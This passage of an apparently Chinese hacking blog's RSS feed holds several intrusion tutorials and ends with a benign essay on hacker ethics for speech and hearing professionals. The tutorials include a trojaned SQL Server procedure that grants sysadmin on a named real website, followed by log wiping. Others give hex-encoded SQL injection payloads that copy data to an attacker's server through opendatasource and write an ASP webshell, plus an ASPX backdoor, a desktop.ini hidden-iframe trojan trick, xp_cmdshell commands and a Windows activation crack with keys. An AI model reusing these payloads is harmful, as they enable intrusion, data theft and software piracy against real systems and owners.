<P>-- VALIDATE LOGIN NAME AS:<BR>-- (1) Valid SQL Name (SQL LOGIN)<BR>-- (2) No backslash (NT users only)<BR>-- (3) Not a reserved login name<BR>execute @ret = sp_validname @loginame<BR>if (@ret &lt;&gt; 0)<BR>return (1)<BR>if (charindex(''\'', @loginame) &gt; 0)<BR>begin<BR>raiserror(15006,-1,-1,@loginame)<BR>return (1)<BR>end</P>
<P>--Note: different case sa is allowed.<BR>if (@loginame = ''sa'' or lower(@loginame) in (''public''))<BR>begin<BR>raiserror(15405, -1 ,-1, @loginame)<BR>return (1)<BR>end</P>
<P>-- LOGIN NAME MUST NOT ALREADY EXIST --<BR>if exists(select * from master.dbo.syslogins where loginname = @loginame)<BR>begin<BR>raiserror(15025,-1,-1,@loginame)<BR>return (1)<BR>end</P>
<P>-- VALIDATE DEFAULT DATABASE --<BR>IF db_id(@defdb) IS NULL<BR>begin<BR>raiserror(15010,-1,-1,@defdb)<BR>return (1)<BR>end</P>
<P>-- VALIDATE DEFAULT LANGUAGE --<BR>IF (@deflanguage IS NOT Null)<BR>begin<BR>Execute @ret = sp_validlang @deflanguage<BR>IF (@ret &lt;&gt; 0)<BR>return (1)<BR>end<BR>ELSE<BR>begin<BR>select @deflanguage = name from master.dbo.syslanguages<BR>where langid = @@default_langid --server default </P>
<P>language</P>
<P>if @deflanguage is null<BR>select @deflanguage = N''us_english''<BR>end</P>
<P>-- VALIDATE SID IF GIVEN --<BR>if ((@sid IS NOT Null) and (datalength(@sid) &lt;&gt; 16))<BR>begin<BR>raiserror(15419,-1,-1)<BR>return (1)<BR>end<BR>else if @sid is null<BR>select @sid = newid()<BR>if (suser_sname(@sid) IS NOT Null)<BR>begin<BR>raiserror(15433,-1,-1)<BR>return (1)<BR>end</P>
<P>-- VALIDATE AND USE ENCRYPTION OPTION --<BR>declare @xstatus smallint<BR>select @xstatus = 2 -- access<BR>if @encryptopt is null<BR>select @passwd = pwdencrypt(@passwd)<BR>else if @encryptopt = ''skip_encryption_old''<BR>begin<BR>select @xstatus = @xstatus | 0x800, -- old-style encryption<BR>@passwd = convert(sysname, convert(varbinary(30), convert(varchar(30), @passwd)))<BR>end<BR>else if @encryptopt &lt;&gt; ''skip_encryption''<BR>begin<BR>raiserror(15600,-1,-1,''sp_addlogin'')<BR>return 1<BR>end</P>
<P>-- ATTEMPT THE Insert OF THE NEW LOGIN --<BR>Insert INTO master.dbo.sysxlogins VALUES<BR>(NULL, @sid, @xstatus, getdate(),<BR>getdate(), @loginame, convert(varbinary(256), @passwd),<BR>db_id(@defdb), @deflanguage)<BR>if @@error &lt;&gt; 0 -- this indicates we saw duplicate row<BR>return (1)</P>
<P>-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE --<BR>exec(''use master grant all to null'')</P>
<P>-- FINALIZATION: RETURN SUCCESS/FAILURE --<BR>raiserror(15298,-1,-1)<BR>return (0) -- sp_addlogin</P>
<P>GO</P>
<P>OK,我們新建個用戶exec master..sp_addlogin xwq</P>
<P><BR>再drop procedure sp_addsrvrolemember,然後在IE裡輸入</P>
<P><BR>create procedure sp_addsrvrolemember<BR>@loginame sysname, -- login name<BR>@rolename sysname = NULL -- server role name<BR>as<BR>-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --<BR>set nocount on<BR>declare @ret int, -- return value of sp call<BR>@rolebit smallint,<BR>@ismem int</P>
<P>-- DISALLOW USER TRANSACTION --<BR>set implicit_transactions off<BR>IF (@@trancount &gt; 0)<BR>begin<BR>raiserror(15002,-1,-1,''sp_addsrvrolemember'')<BR>return (1)<BR>end</P>
<P><BR>-- CANNOT CHANGE SA ROLES --<BR>if @loginame = ''sa''<BR>begin<BR>raiserror(15405, -1 ,-1, @loginame)<BR>return (1)<BR>end</P>
<P>-- OBTAIN THE BIT FOR THIS ROLE --<BR>select @rolebit = CASE @rolename<BR>WHEN ''sysadmin'' THEN 16<BR>WHEN ''securityadmin'' THEN 32<BR>WHEN ''serveradmin'' THEN 64<BR>WHEN ''setupadmin'' THEN 128<BR>WHEN ''processadmin'' THEN 256<BR>WHEN ''diskadmin'' THEN 512<BR>WHEN ''dbcreator'' THEN 1024<BR>WHEN ''bulkadmin'' THEN 4096<BR>ELSE NULL END</P>
<P>-- ADD ROW FOR NT LOGIN IF NEEDED --<BR>if not exists(select * from master.dbo.syslogins where loginname = @loginame)<BR>begin<BR>execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame<BR>if (@ret &lt;&gt; 0)<BR>begin<BR>raiserror(15007,-1,-1,@loginame)<BR>return (1)<BR>end<BR>end</P>
<P>-- Update ROLE MEMBERSHIP --<BR>update master.dbo.sysxlogins set xstatus = xstatus | @rolebit, xdate2 = getdate()<BR>where name = @loginame and srvid IS NULL</P>
<P>-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE </P>
<P>SYSLOGINS CHANGE --<BR>exec(''use master grant all to null'')</P>
<P>raiserror(15488,-1,-1,@loginame,@rolename)</P>
<P>-- FINALIZATION: RETURN SUCCESS/FAILURE<BR>return (@@error) -- sp_addsrvrolemember</P>
<P>GO</P>
<P><BR>接著再exec master..sp_addsrvrolemember xwq,sysadmin<BR>我們拿sql綜合利用工具或者查詢分析器連上看看，呵呵，成功拉，這樣我們就在<A href="http://www.**17173.com/">www.**17173.com</A>的伺服器上建拉一個具有最高權限的用戶xwq拉，下面的事我想大家都應該回做拉吧。呵呵，因為只是安全測試，我並沒有深入下去，刪拉帳號，清除日誌，閃人。</P>
<P>看到拉吧，我的必殺技之一——萬能提權的威力拉吧，只要是給我一個注射點，無論什麼權限，我都會給你一個webshell甚至系統權限.呵呵，其實說萬能的提升權限方法的確是有點誇張拉，因為Create PROCEDURE 的權限默認授予 sysadmin 固定伺服器角色成員和 db_owner 和 db_ddladmin 固定資料庫角色成員，你要是碰到Public的權限，那就不好使用拉。</P>
<P>不過不要以為換成public權限,就沒有辦法拿到webshell或者系統權限拉，恰恰相反，據我所知public權限的用戶拿到webshell甚至系統權限的方法至少也有5種。</P>
<P>最好的防範方法就是杜絕注射漏洞，這才是治標又治本的解決方法。（呵呵，要是我說，最好連public的權限都不要給，可惜已經沒有比public權限更低的角色拉，沒辦法誰叫public也可以利用很多有危險的存儲過程呢，而且public無法除去，看來M$對我們這些"壞人"還是很厚愛的哦） </P>]]></description>
		</item>
		
			<item>
			<link>http://tank.tank.tw/article/Hacker/SQL注入高級技巧.htm</link>
			<title><![CDATA[SQL注入高級技巧]]></title>
			<author>tank@tank.tw(tank)</author>
			<category><![CDATA[Tank Hacker]]></category>
			<pubDate>Thu,03 Aug 2006 20:11:56 +0800</pubDate>
			<guid>http://tank.tank.tw/article/Hacker/SQL注入高級技巧.htm</guid>
		<description><![CDATA[<P>我的目的主要是取得網站的目錄,當然了,網站和mssql資料庫在一臺伺服器上，權限DB_owner。</P>
<P>　 在某網發現了一個注點，一個'號提示"xxxxxxxxxx'0''出現錯誤 " ，經過初步的分析是把單引號，直接轉換成了0',所以如果用工具肯定注入不了，實踐證明工具不行，但能檢測出來其權限為:DB_owner,手工檢測的方法無非是: and 1=(select is_isvrolemember('sysadmin'))這是簡單檢測系統權限。還好只是對單引號有限制，其它符號沒有限制。不過這一點確實已經夠麻煩的了。<BR>　　<BR>　我們的目的是檢測網站資料夾在什麼地方，如果找到的話，直接差異備份資料庫，取得webshell。<BR>　　<BR>　　首先提取IIS設置初期,網站目錄在註冊表中的位置，然後再暴出來。<BR>　　建一個表xy,<BR>;create table xy(xy1 nvarchar(256) null)，然後網表裡插入其值，語句如下:<BR>;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into xy (xy1) values(@result)<BR>由於對'單引號的轉換，所以上面的命令肯定成功不了，這時我們可以想到再用declare函數，一開始我的做法為把 'HKEY_LOCAL_MACHINE'和','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots'和'/'，這3個資料分別附於3個變量，這樣語句構成為:<BR>;DECLARE @a varchar(255) select @a=0x484b45595f4c4f43414c5f4d414348494e45 DECLARE @b varchar(255) select @b=0x53595354454d5c434f4e54524f4c5365743030315c53657276696365735c57335356435c506172616d65746572735c5669727475616c20526f6f7473 DECLARE @c varchar(255) select @c=0x2f DECLARE @result varchar(255) exec master.dbo.xp_regread @a,@b,@c,@result output insert xy(xy1) values(@result)--</P>
<P>沒想到根本成功不了，我不清楚這個原因，然後去GOGOLE搜索原因，在邪XX討論區裡看到無敵遇到的情況根我一樣，至今還沒有討論出來結果，於是這種方法暫時先放一放，2天以後再得到了一種新方法，也是用declare於一個變量附值，不過這時附的不是某一資料，而是整句。</P>
<P>方法如下:<BR>DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into xy (xy1) values(@result)<BR>全轉換為16進制為:<BR>0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900<BR>這時用DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900 AS NVARCHAR(4000));EXEC(@S)<BR>直接執行成功，呵呵，反正沒有用到單引號，這種方法是現在所能想出來的了，也算一點點小小的突破吧。</P>
<P>　　把上述語句直接在瀏覽器裡提交，返回正常的頁面，然後用and 1=(selet top 1 xy1 from xy)成功暴出了網站的資料夾為 D:\wwwfuck\，哈哈，懷著僥倖的心理直接在此目錄下差異備份資料庫，失敗！<BR>結論：<BR>1、語句沒有錯誤　<BR>2、目錄有問題。</P>
<P>　　於是現在猜一把，就猜網站資料夾在D磁碟，那麼唯一可行的辦法就是一個一個暴資料夾啊~，鬱悶，極其麻煩的事情又要來臨了！<BR>我比較懶，隨後想到的就是SQL裡的opendatasource命令,我機器裝有sql，IP為10.10.10.1，我想把遠程執行sql返回的結果直接插到我自己機器SQL所建的表中，所以這樣比較輕鬆，為了證明是否成功，我先建一個表為ku(id nvarchar(255)),然後遠程提交的格式為:<BR>insert into opendatasource('sqloledb','server=10.10.10.1;uid=sa;pwd=tank!!;database=test').test.dbo.ku select name from master.dbo.sysdatabases<BR>其中test為我自己的資料庫，ku為test資料庫中的表名　如果成功的話，在本機打開ku表，上述語句就會列出遠程伺服器中所有的庫的名稱。<BR>上面的語句有單引號，我們直接轉換為16進制，轉換後用如下語句提交即可:<BR>;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F0020006F00700065006E00640061007400610073006F00750072006300650028002700730071006C006F006C0065006400620027002C0027007300650072007600650072003D003200310031002E00310031002E00310031002E00310031003B007500690064003D00730061003B007000770064003D006600750063006B00210021003B00640061007400610062006100730065003D007400650073007400270029002E0074006500730074002E00640062006F002E006B0075002000730065006C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007400650072002E00640062006F002E00730079007300640061007400610062006100730065007300 AS NVARCHAR(4000));EXEC(@S);<BR>　　直接打開本機資料庫test中的ku表，嘿嘿，成功列出了遠程所有資料庫的名稱。<BR>　　下面來返回伺服器上D盤下的資料夾，嘿嘿，為了求速度，我只列一級資料夾。</P>
<P>　　建一個表;create table temp(id nvarchar(255),num1 nvarchar(255))--成功<BR>　　往表裡插入所有各級數資料夾(一級目錄為D磁碟根資料夾，二級就是下一層，三級依次類推),<BR>語句：<BR>;insert into temp(id,num1) exec master.dbo.xp_dirtree 'D:\'<BR>有單引號，上面的語句肯定不成功，肯定要用declare附值變量，好了，我直接寫語句：<BR>DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D0070002800690064002C006E0075006D00310029002000650078006500630020006D00610073007400650072002E00640062006F002E00780070005F0064006900720074007200650065002000270044003A005C002700 AS NVARCHAR(4000));EXEC(@S);<BR>那麼現在temp表中，已經有了所有D磁碟的資料夾了，其中num1=1為一級資料夾,num1=2為二級..等等。<BR>好了，我把temp表中一級目錄返回到本機吧<BR>本機建表mulu(name char(255)),遠程語句:<BR>insert into opendatasource('sqloledb','server=10.10.10.1;uid=sa;pwd=tank!!;database=test').test.dbo.mulu select id from temp where num1=1<BR>轉成16進制declare附變量提交，我日~~經過漫長由如死機的時間，失敗了。。。弄不清楚原因。</P>
<P>　　既然懶的方法不行，算了，就勤快一些吧！鬱悶！<BR>　　上述的temp遠程表中還有資料夾名稱呢,太亂，在遠程直接建個新表:<BR>;create talbe temp1(id nvarchar(4000))--<BR>然後把temp表中一級資料夾名稱插到這裡來，<BR>語句:<BR>;insert into temp1(id) select id from temp where num1=1--<BR>　　然後再暴: and 1=(select top 1 id from temp1 where id=1),<BR>提示:xxxxxxxxxxxx'MUbak'轉換為int.....等出錯等訊息，我是不是很懶，連出錯訊息都不複製？明白就行了。<BR>　　暴下一個資料夾不可能用 and 1=(select top 1 id from temp1 where id not in('MUbak'))吧？因為裡面有單引號呀,不是上面說可以用declare嗎?錯!這是暴,可不是執行命令呀，不要弄錯！</P>
<P>　　抽了一根煙，想了想，還有一個辦法，再把temp1的目錄一層一層地扒下來，把他們傳遞給temp2表,呵呵，肯定要先建表了<BR>;create table temp2(id char(255))--。<BR>　　先想明白語句，我把temp1的id下所有的名稱，給於temp2，而且不包括'MUbak'目錄，那麼語句應該是:<BR>insert into temp2(id) select id from temp1 where id not in('MUbak')<BR>呵呵，有單引號，declare!!!，上面語句轉16進制。<BR>語句為:<BR>DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D007000320028006900640029002000730065006C006500630074002000690064002000660072006F006D002000740065006D007000310020007700680065007200650020006900640020006E006F007400200069006E00280027004D005500620061006B0027002900 AS NVARCHAR(4000));EXEC(@S);<BR>　　這時，我在temp2暴表:and 1=(select top 1 id from temp2)，提示xxxxxxxxxxxx'wwwbak'轉換為int.....等出錯等訊息。。呵呵，又一個目錄出來了。<BR>　　然後刪表temp2表，建temp3表，用上面的訪法循環暴出下一個目錄。<BR>　　可能有人問，為什麼要建temp3表，直接刪掉temp2，然後再建temp2再用呀，不過經驗認為，這裡最好新建一個，本人認為是緩存的原因，否則一直用老表，暴錯的訊息為同一個。。。。</P>
<P>　　好了，經過漫長的時間，終於找出了網站的目錄為D:\web\www\，下來備份唄。<BR>;create table riri(ri char(255))--<BR>;insert into riri(ri) values(0x3C25657865637574652872657175657374282261222929253E)-- '0x3C25657865637574652872657175657374282261222929253E"為&lt;%execute request("a")%&gt;<BR>;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x443a5c7765625c7777775c312e617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT <BR>'0x443a5c7765625c7777775c312e617370為D:\web\www\1.asp<BR>這時成功得在網站目錄備分了一個1.asp，訪問www.xxx.com/1.asp 出現'execute'錯誤，呵呵，一個webshell到手了。<BR>看得很麻煩吧，如果有人做出工具來了就簡單多了，否則累死你~~<BR></P>]]></description>
		</item>
		
			<item>
			<link>http://tank.tank.tw/article/Hacker/Windows 2003 無法上網自動更新.htm</link>
			<title><![CDATA[Windows 2003 無法上網自動更新]]></title>
			<author>tank@tank.tw(tank)</author>
			<category><![CDATA[Tank Hacker]]></category>
			<pubDate>Tue,20 Dec 2005 22:38:50 +0800</pubDate>
			<guid>http://tank.tank.tw/article/Hacker/Windows 2003 無法上網自動更新.htm</guid>
		<description><![CDATA[<P>當然說的是破解的方法</P>
<P>請看這篇文章。</P>
<P>7步搞定Windows2003 Update（54powerman原創） <BR>原文：<A href="http://blog.csdn.net/54powerman/archive/2004/08/23/82246.aspx">http://blog.csdn.net/54powerman/archive/2004/08/23/82246.aspx</A><BR>1、導入1.reg；<BR>2、執行2.bat，選擇“是，我想打電話給顧客服務代表來激活Windows(T)”，點擊“下一步”；<BR>3、點擊“更改產品密鑰”按鈕；<BR>4、輸入如下密鑰後，點擊“更新”按鈕，然候“在此之後提醒我”按鈕；<BR>注：<BR>企業版(EnterpriseEdition)：JCGMJ-TC669-KCBG7-HB8X2-FXG7M<BR>標準版(StandardEdition)：KCDJP-2FVBQ-J82BP-VWG8Y-TW3HM<BR>5、導入3.reg；<BR>6、立即執行Update；<BR>7、完成。</P>
<P>文件內容：</P>
<P>文件1.reg</P>
<P>Windows Registry Editor Version 5.00</P>
<P>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WPAEvents]<BR>"OOBETimer"=hex:ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff</P>
<P>文件2.bat</P>
<P>%windir%\system32\oobe\msoobe.exe /a</P>
<P>文件3.reg</P>
<P>Windows Registry Editor Version 5.00</P>
<P>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WPAEvents]<BR>"OOBETimer"=hex:ff,d5,71,d6,8b,6a,8d,6f,d5,33,93,fd<BR></P>]]></description>
		</item>
		
			<item>
			<link>http://tank.tank.tw/article/Hacker/絕處逢生—Windwos 2003下的權限提升.htm</link>
			<title><![CDATA[絕處逢生—Windwos 2003下的權限提升]]></title>
			<author>tank@tank.tw(tank)</author>
			<category><![CDATA[Tank Hacker]]></category>
			<pubDate>Tue,13 Dec 2005 17:30:12 +0800</pubDate>
			<guid>http://tank.tank.tw/article/Hacker/絕處逢生—Windwos 2003下的權限提升.htm</guid>
		<description><![CDATA[<P>絕處逢生——Windwos 2003下的權限提升</P>
<P>前幾天滲透了某大型網站，興奮中。拿到WebShell後，第一個念頭就是提升權限，把偶親愛的候門掛到系統里。熟練的打開CMD，輸入NET USER。<BR>不是好兆頭，接著在WSCRIPT組件前打鉤，再次執行NET USER。<BR>提示倒是換了，但是結果一樣。接著偶想到了上傳CMD.EXE，但是Windows 2003的上傳在默認時是有限制的，不能大於200K，於是我上傳了經典的Serv-U本地溢出程序，使用在Windows 2000下沒有禁用WSCRIPT時的無敵調用提權大法。 <BR>其實就是在調用CMD的地方寫上本地溢出程序的路徑及參數，一般在沒有禁止WSCRIPT組件時，此法的成功率很高。但是結果依然是“禁止訪問”，看來Windows 2003在默認情況下，安全性比Windows 2000默認時要強許多。失望之余，想到乾脆去首頁掛個馬吧，最近正在玩PcShare，嘿嘿。跑到首頁，加入偶的木馬代碼，點保存，“沒有權限”，偶倒！太BT了吧？連修改首頁的權限都沒？管理員一定是把IIS用戶降低到了GUEST組，或者給IIS目錄單獨設置了一個GUEST組的用戶，並去掉了修改文件的權限。上帝太不公平了，怎么說都是偶辛辛苦苦搞來的Shell啊，現在一點用都沒有！<BR>沒辦法，看看服務器里有啥好東西吧。翻來翻去，忽然眼前一亮：在某個目錄裡發現了congif.aspx文件。寫到這里各位以為偶是要使用SA帳號，通過SQLROOTKIT執行系統命令吧？錯，偶看過了，帳號不是SA權限的，是PU權限，什麼都不能做，而且也不屬於本文的介紹範圍。偶注意的“ASPX”這個後綴，在默認安裝情況下，IIS 6.0是支持.net的，也就是ASPX文件，但是在IIS 6.0里，ASP和ASPX兩個擴展使用的卻是2個不同的用戶角色，ASP使用的是IUSER用戶，管理員一般都比較注意這個帳號，害怕被提升權限，所以把權限都降低到了GUEST，所以在ASP的WebShell里什麼不能做了。但是網管往往忽略了ASPX！由於.net使用的系統賬號是ASPNET，而在默認情況下，這個賬號是屬于USER組的，這樣我們上傳一個.NET的後門上去，會以USER組的用戶ASPNET執行命令，權限會有很大的提高，就可以提權了！<BR>說做就做，立即上傳了一個ASPX的后門上去，打開CMD模塊執行NET USER。<BR>哇哈哈，果然不出偶所料，終於可以執行CMD了！來看看權限，輸入“net localgroup guests”。<BR>看到了吧？剛才我們在AspWebShell中使用的帳號是IUSER_WEBSITE，屬於GUESTS組，難怪什麼權限都沒有呢。再來看一下USERS組。<BR>ASPNET就是現在我們的AspxShell使用的帳號，權限是USERS，比Guest大好多，嘿嘿！ <BR>其實這并不算是什麼漏洞，只是由於管理員粗心大意造成的隱患而已。算是提升權限的一個思路吧。如果管理員把ASPNET也降低權限，或者刪除ASPX這個擴展，本文的方法就不管用了，不過這樣的管理員到目前我還沒遇到過。總之，整體安全才是最重要的。不要放過每一個細節。</P>
<P>作者： 放手&nbsp;&nbsp;&nbsp; 來 源： 《黑客防線》 </P>]]></description>
		</item>
		
			<item>
			<link>http://tank.tank.tw/article/Hacker/最簡單有效的提權方法的小技巧.htm</link>
			<title><![CDATA[最簡單有效的提權方法的小技巧]]></title>
			<author>tank@tank.tw(tank)</author>
			<category><![CDATA[Tank Hacker]]></category>
			<pubDate>Tue,13 Dec 2005 03:59:50 +0800</pubDate>
			<guid>http://tank.tank.tw/article/Hacker/最簡單有效的提權方法的小技巧.htm</guid>
		<description><![CDATA[<P>最簡單有效的提權方法的小技巧</P>
<P>大家都知道最長用的幾種權限提升方法<BR>我們主要說一下利用autorun .inf或desktop.ini，<BR>這種方法有很大的局限性，必須管理員打開目錄或文件夾，現在國內的有些管理員不知道猴年馬月才登陸伺服器一次，成功率不是太高!<BR>我們來講一下，怎麼主動利用這個方法desktop.ini提升權限!</P>
<P>我在本機器上個大家演示:<BR>我們首先創建個 guests的用戶 命令:runas /user:admin cmd.exe<BR>現在就是guests權限，我們來看一下看到了麼<BR>現在我們建立一個 有自定義文件<BR>我現在是在本機操作，大家用webshell的時候可是把最後的兩個文件上傳到一個有運行權限的目錄裡面<BR>&lt;body color:infotext; margin-top:1; font:menu"&gt;<BR>&lt;iframe src="填入你的木馬地址" name="xyxiao" width="0" height="0" frameborder="0"&gt;&lt;/iframe&gt;<BR>&lt;/body&gt;<BR>我們隨便選個地址</P>
<P>會產生兩個文件一個文件夾 desktop.ini ，Folder Settings（目錄）Comment.htt<BR>Comment.htt文件存的就是剛才修改的那些訊息<BR>可以自己修改，就是網頁代碼<BR>如果看不到這幾個文件的話，可以把隱藏受保護的操作系統文件前面的對號給取消<BR>和顯示所有文件前的對號取消就能看到啦<BR>現在繼續<BR>為了方便大家看效果，我把大小改為100 ，OK我現在沒有上網，所以出現這個頁面<BR>好了，我們吧這兩個頁面上傳到可以運行的文件佳裡面<BR>先放到C:\WINNT\system32\inetsrv\Data 這個目錄裡面，大家可以自己找，只要能有運行的權限就行啦</P>
<P>OK好了，大家可以在本地設置好再上傳上去，</P>
<P>OK現在我們用guests的權限 打開這個目錄，哈哈，這樣不就同時打開這個網頁啦，<BR>我們在網頁掛上木馬，或者掛個.bat，建立個管理員帳號<BR>命令:start C:\WINNT\system32\inetsrv\Data<BR>呵呵已經打開，我們關了再試一下&nbsp;&nbsp; <BR>看到了麼，用guests權限打開目錄，，<BR>這樣做的網頁木馬就運行啦，，，，呵呵，，，控制肉雞啦<BR>好了，其實很簡單，只要大家多多注意就能發現很多有用的小技巧，</P>
<P>&nbsp;</P>
<P>&nbsp;<BR>&nbsp;<BR></P>]]></description>
		</item>
		
			<item>
			<link>http://tank.tank.tw/article/Hacker/SQL注入建立虛擬目錄，免得找Web絕對路徑！.htm</link>
			<title><![CDATA[SQL注入建立虛擬目錄，免得找Web絕對路徑！]]></title>
			<author>tank@tank.tw(tank)</author>
			<category><![CDATA[Tank Hacker]]></category>
			<pubDate>Mon,12 Dec 2005 02:34:34 +0800</pubDate>
			<guid>http://tank.tank.tw/article/Hacker/SQL注入建立虛擬目錄，免得找Web絕對路徑！.htm</guid>
		<description><![CDATA[<P>SQL注入建立虛擬目錄，免得找Web絕對路徑！<BR>我們很多情況下都遇到SQL注入可以列目錄和運行命令，但是卻很不容易找到web所在目錄，也就不好得到一個webshell，這一招不錯：</P>
<P>exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'<BR>建立虛擬目錄win,指向c:\winnt\system32<BR>exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'<BR>讓win句有解析asp腳本權限</P>
<P>exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"<BR>刪除虛擬目錄。<BR>找不到web絕對路徑的一種解決辦法，<BR><A href="http://hacker.tank.tw/hello">http://hacker.tank.tw/hello</A><BR>403錯誤，表示虛擬目錄建好了。。。 </P>]]></description>
		</item>
		
			<item>
			<link>http://tank.tank.tw/article/Hacker/聽語專業的黑客觀.htm</link>
			<title><![CDATA[聽語專業的黑客觀]]></title>
			<author>tank@tank.tw(tank)</author>
			<category><![CDATA[Tank Hacker]]></category>
			<pubDate>Mon,12 Dec 2005 02:25:21 +0800</pubDate>
			<guid>http://tank.tank.tw/article/Hacker/聽語專業的黑客觀.htm</guid>
		<description><![CDATA[<P>聽語專業的黑客觀<BR>作者：Jedi </P>
<P>在媒體的報導中，黑客 (<FONT color=#f70909>Hacker</FONT>) 往往被當成是負面的字眼，用來指稱入侵或破解他人電腦系統的人，然而這一直是一種誤用：入侵或破解他人電腦系統的人其實應該被稱做鬼客 (<FONT color=#ff9900>Cracker</FONT>) 。根據夾槓檔案 (The Jargon File) 裡的說法，黑客指的是「擅長於特殊領域、具有積極主動的研究精神，而且樂於助人」的人。</P>
<P>很重要的一點是，「黑客」一詞並不囿於資訊科學的範疇，不管是在甚麼領域，祇要某人符合上述的條件，那麼我們就可以稱她為「黑客」。於是可以有天文黑客、鋼琴黑客、化學黑客、社會學黑客、文化黑客、傳播黑客等等不同的可能性，當然也可以有聽力學黑客跟語言並理學黑客。</P>
<P>在「黑客倫理與新資本主義精神」這本書裡，提到了這類人（黑客）對時間支配的新看法。妳會發現這類人總是樂於把時間投注在她們所感興趣的事物上，而這些事物正是她們所擅長的領域，於是她們成就非凡。</P>
<P>無論是語言治療師或聽力師，都是需要有極大熱誠跟興趣，纔能長久做下去的職業。這是我在踏入這個領域之前，學長姐所告誡的話，我也常常拿來告誡學弟妹。事實上我相信多數的醫療專業也都是如此。</P>
<P>因為這個領域的工作可以說是繁瑣而複雜，如果沒有主動探索的精神，恐怕會覺得日復一日都在做一模一樣的事；如果沒有與人討論分享的習慣，更是鮮少會有能讓妳學習成長的機會。實際接觸過個案的人祇要用點心就會發現，這個領域的精髓就在於細膩地觀察個案的反應及互動，無論對語言治療師或聽力師皆然；而這正是需要纖細的心思和靈巧的手法，纔能夠掌握自如的。</P>
<P>現代人的生活步調往往過於急促，許多人工作就祇為了餬口飯喫，實在是相當可惜。傳統市集的觀念中，執業者往往會為了要爭奪市場而藏私或互相攻擊；這麼一來其實祇是對這片領域的慢性扼殺罷了。長久之後誰也拿不到好處。</P>
<P>而在黑客倫理的觀點中，對知識共享的強調，以及對工作的熱情，私以為是非常彌足珍貴的。黑客們往往會日以繼夜地克服眼前遇到的問題，她們行事清晰有條理，而且往往會留下完整的紀錄，事後並且樂於與他人分享這樣的經驗。</P>
<P>當越多人把心力投注在公領域 (Public Domain) 時，公領域也越能幫助單獨的個人面對她所未曾遭遇的狀況。智慧跟知識在這種情況下才得以累積，於是我們毋須一再地重新發明輪子，而能夠站在巨人的肩膀上瞭望世界大千。</P>
<P>身為一個聽語專業人員，妳不祇應該在臨床上展現妳的技藝，更應該（強迫上司）留給自己一些反芻的空檔。妳應該養成從個案身上思考的習慣 ─ 我說的可不是病例報告，我在這裡所要強調的是跨越單一專業領域的心胸和視野。</P>
<P>當妳面對眼前的個案時，妳確切地瞭解她的生活經驗、她的家庭環境、她的處心積慮、她的渴求和她的憂傷快樂嗎？如果妳沒有花時間去同理她的內心細節，妳又怎能確定自己做的處置真的是滿足了個案（而不是祇是在滿足自己）的需求？</P>
<P>做這些事得花費相當大量的精力，妳會做一些外人難以看到的事情，在這個過程中妳與個案雙方都會有機會去看清楚整件事的關鍵點，然後做出決定，並且學習而成長。每一次處理不同的個案時，帶來的都會是獨一無二的經驗。每個個案各有其不同的文化、家庭、社會、經濟背景，她們的出發點與切入點不同，動機跟期待也不同。如何能夠明辨這之間的微妙變化，正是整件事的有趣之處。</P>
<P>遇到讓妳喜歡的事，恐怕妳會巴不得這件事永遠不要結束。如果今天有股有形或無形的力量，一直逼著妳趕快把事情作個結束，那妳又怎麼可能會喜歡呢？</P>
<P>所以我說，妳得愛妳的工作。不祇是樂於從事，更要樂於分享。當妳開始觀察、分享這些可愛人們的內心變化時，妳將會發現週遭也開始產生了有趣的變化。妳的個案進步的速度會變快，而同業間也會產生一股互相激盪的氣息。妳珍惜著個案的每一次感動，那麼個案也會珍惜妳的每一分付出；妳越是無私地把所學傳播給其他人，其他人也將更樂於把更新的消息轉達給妳。</P>
